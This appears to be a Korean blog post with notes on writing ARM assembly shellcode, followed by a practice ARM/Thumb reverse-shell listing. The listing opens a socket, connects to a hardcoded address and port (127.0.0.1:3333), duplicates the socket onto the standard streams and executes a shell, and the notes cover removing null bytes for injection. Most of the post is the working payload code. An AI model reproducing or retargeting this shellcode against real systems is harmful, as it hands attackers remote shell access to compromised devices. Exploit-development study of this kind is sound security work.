ARM 어셈블리 코딩하는데 생각한 노하우
---------------------------------------------------------------------------------
1. 일단 C 로 원형을 짠다. = write(1,"/bin/sh\x00",8);
2. 인자값 타입과 갯수를 아래에 정리한다. ( 포인터 값이 있는지 확인 )
int write( int fd, void * buff, size_t t )
3. system call number 확인한다 write == 4
4. designing 하기 return r0 _ r7( r0, r1, r2 )
5. 워드값 구성 작성
1byte = .byte , 2byte = .short, 4byte =.word 닥치는 대로 하나의 함수 맨 아래쪽에 쓰면됨.
6. 인자값을 구성해야함 숫자 값은 최대 255까지 이고, 더 큰값은 add 로 더해서 맞춰 줘야함.
( 권한은 8진수임 0777 일 경우 255+255+1 임 )
7. 인자값이 주소값으로 리턴되는 부분은 아닌지 판단하고 주소값으로 넘어가는 부분일 시
sp + 4 ( 다음주소에) 한번 str 시키고, 그 sp +4 를 다시 add 를 통해 가져옴.
(ldr 은 값을 가져오기때문에 안됨 )
8. (objdump 로 떠본 후 ) sub inst, inst, inst 로 널값 제거
(string 관련널은 +1 을 해준뒤 -1 을 해주는 방식으로 구현
9. string 이 들어가는 인자값을 PC 카운터를 더하고 갯수를 세어 string 값을 가르키게함.
(사이에있는 인스트럭션 갯수를 더해준다는 생각으으로 하면 좋음 thumb*2 ARM*4 byte )
11. 컴파일.
----------------------------------------------------------------------------------
// ARM reverse shellcode practice
// IP : 127.0.0.1 PORT 3333
// .word 0x050d0002 .word 0x0100007f
// 아직 string 으로 인한 널값을 제거하지 못함.
//
.global _start
#char *sh[2] = {"/bin/sh", NULL};
#int main()
# sock = socket(PF_INET, SOCK_STREAM, 0);
# serv_addr.sin_family = AF_INET;
# serv_addr.sin_addr.s_addr = inet_addr(IP);
# serv_addr.sin_port = htons(PORT);
_start :
.code 32
add r3, pc ,#1
bx r3
.code 16
# socket -- system call is 281
# socket(2,1,0 )
# r0=sock r7=281 ( r0=2, r1=1, r2=0 )
mov r7, #255
add r7, #26
mov r0, #2
mov r1, #1
sub r2,r2,r2
svc 1
# connect -- system call is 283
# r0 = r7 = 283 ( r0 = sock(return value) , r1 = &server_addr , r2 = 16 )
# server_addr.sin_family = AF_INET
# server ??? PORT 02(?) 1.0.0.127
# 0xa010 <serv_addr>: 0x050d00 02 0x0100007f
mov r8, r0
mov r7, #255
add r7, #28
mov r1, pc
add r1, #4
mov r2, #16
svc 1
.word 0x050d0002
.word 0x0100007f
# dump2 -- system call is 63
# dup2(sock,0);
# dup2(sock,1);
# dup2(sock,2);
#
# r0 -> sock structure
# r6 = r0
# r0 r7=64 ( r0 = r6, r1 = 0 );
# r0 r7=64 ( r0 = r6, r1 = 1 );
# r0 r7=64 ( r0 = r6, r1 = 2 );
mov r7 , #64
mov r0, r8
sub r1, r1, r1
mov r1, #0
svc 1
# r8= 4
mov r7, #64
mov r0, r8
mov r1, #1
svc 1
# r8=4
mov r7, #64
mov r0, r8
mov r1, #2
svc 1
# execve -- system call is 11
# char * buff[] = {"/bin/ls\x00",NULL};
# execve(buff[0],buff, 0);
# r0 r7 = 11 ( r0 = buff, r1= &buff, r2 = 0 )
# .word nib/
# .word sl/
mov r7 ,#11
sub r2, r2, r2
mov r0, pc
add r0, #10
str r0, [sp,#4]
sub r4, r4, r4
str r4, [sp,#8]
add r1, sp, #4
svc 1
.byte 0x2f
.short 0x7973
.word 0x6d657473
.word 0x6e69622f
.word 0x0068732f
# close -- system call is 6
# close(sock) sock = r6
# r0 r7 = 6 ( r0 = r6(sock) )
mov r7, #6
mov r0, r8
svc 1
'ARM & 펌웨어 분석' 카테고리의 다른 글
binwalker 사용법 관련 블로그 링크 (0) | 2014.10.13 |
---|---|
ARM shellcode 만들기 prack 번역 ~ (0) | 2014.10.07 |
Android gdb, gcc binary 파일 (0) | 2014.09.11 |
[비공개] iptime G104 7.60v (0) | 2012.12.22 |
ARM 쉘코드 만들기(To make shellcode in ARM architecture) (0) | 2012.12.18 |